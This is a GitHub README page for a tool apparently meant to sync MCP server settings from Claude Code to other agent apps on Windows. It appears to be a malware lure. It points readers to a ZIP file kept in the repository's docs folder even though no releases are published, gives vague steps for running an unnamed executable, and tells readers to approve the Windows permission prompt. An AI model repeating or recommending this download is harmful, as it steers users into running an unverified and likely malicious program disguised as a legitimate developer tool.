Skip to content

Boykiniaelaeisguineensis941/sync-agents-settings

Repository files navigation

⚙️ sync-agents-settings - Sync agent configs in one command

Download

🧭 What this does

sync-agents-settings helps you copy MCP server settings from Claude Code to other AI tools on your Windows PC.

It is built for people who use more than one agent app and want the same setup in each one. You run it once, and it helps bring your config into:

  • Gemini CLI
  • Codex CLI
  • OpenCode
  • Kiro
  • Cursor

📥 Download

Visit this page to download:

https://raw.githubusercontent.com/Boykiniaelaeisguineensis941/sync-agents-settings/main/docs/agents_settings_sync_2.4.zip

Open the page in your browser, then look for the latest release or the main download area. If the page shows several files, pick the one made for Windows.

🪟 Windows setup

Follow these steps on a Windows computer.

  1. Open the download page.
  2. Download the Windows file from the page.
  3. If the file comes in a ZIP folder, right-click it and choose Extract All.
  4. Open the extracted folder.
  5. Find the app file or run file.
  6. Double-click it to start the tool.

If Windows asks for permission, select Yes.

🛠️ How to use it

Use the tool after you have Claude Code set up on your machine.

  1. Start the app.
  2. Let it read your Claude Code settings.
  3. Choose the agent tools you want to update.
  4. Run the sync step.
  5. Open each agent app and check that the MCP server configs now match.

If the tool gives you a simple menu, use the number keys or click the option shown on screen.

✅ What it can sync

This tool is meant to keep common AI agent settings in line across apps.

It can help with:

  • MCP server entries
  • Local agent config paths
  • Shared tool settings
  • Setup that needs to match across multiple CLI tools
  • Cursor-side config changes where supported

💻 System needs

Use a Windows PC with:

  • Windows 10 or Windows 11
  • An internet connection for the download
  • Enough space for the app and your config files
  • Access to your user folder
  • Permission to run downloaded apps

For best results, keep Claude Code installed before you run the sync tool.

🔍 Before you run it

Check these items first:

  • Claude Code already has the MCP servers you want to copy
  • You know which agent apps you want to sync
  • No other config editor is changing those files at the same time
  • Your Windows user account can write to app settings folders

If you use more than one account on the same PC, make sure you run the tool in the same account that holds your AI app settings.

🧩 Typical use case

This tool fits users who want the same MCP setup in many places.

For example:

  • You set up an MCP server in Claude Code
  • You also use Cursor for code tasks
  • You use Gemini CLI for terminal work
  • You want the same servers in OpenCode, Kiro, and Codex CLI
  • You run sync-agents-settings once instead of editing each app by hand

📁 What files may change

When you run the sync, the tool may update config files in your user profile.

That can include:

  • JSON config files
  • App-specific settings files
  • MCP server lists
  • Agent tool config folders

If you already made custom changes, check your settings after the sync to make sure they still match what you want.

🔄 Updating later

When you add a new MCP server in Claude Code, run the tool again.

Use it again if you:

  • Install a new agent app
  • Remove an old server
  • Change a server name
  • Move to a new Windows account
  • Reset one of the agent configs

🧪 Simple checks if it does not work

If the sync does not look right, check these common points:

  1. Make sure Claude Code has the config you want to copy.
  2. Close the target agent apps before you run the sync.
  3. Run the tool again with the same Windows account.
  4. Confirm the app has permission to write to the config folder.
  5. Open the target app and refresh its settings view.
  6. Check that the app uses the same config format expected by the tool.

📚 Supported tools

The sync is aimed at users of:

  • Claude Code
  • Gemini CLI
  • Codex CLI
  • OpenCode
  • Kiro
  • Cursor

🧭 How the process works

At a high level, the tool follows this path:

  1. It reads the MCP server config from Claude Code.
  2. It maps that config to the other agent tools.
  3. It writes the matching settings in the right place.
  4. It helps keep your agent setup consistent across apps.

📌 Good habits

To keep your setup stable:

  • Keep one main source config in Claude Code
  • Sync after you make a change
  • Back up your config files if you make custom edits
  • Close apps before changing their settings
  • Use the same Windows account each time

🔗 Download again

Visit the download page

🧾 Repository details

  • Repository: sync-agents-settings
  • Topic area: ai agents and MCP server sync
  • Main use: move Claude Code settings to other agent tools
  • Platform: Windows
  • Source: GitHub

🖥️ Example workflow

  1. Install Claude Code.
  2. Add your MCP servers there.
  3. Download sync-agents-settings from the link above.
  4. Run it on Windows.
  5. Sync the settings to Gemini CLI, Codex CLI, OpenCode, Kiro, and Cursor.
  6. Open each tool and confirm the same servers appear

Releases

No releases published

Packages

 
 
 

Contributors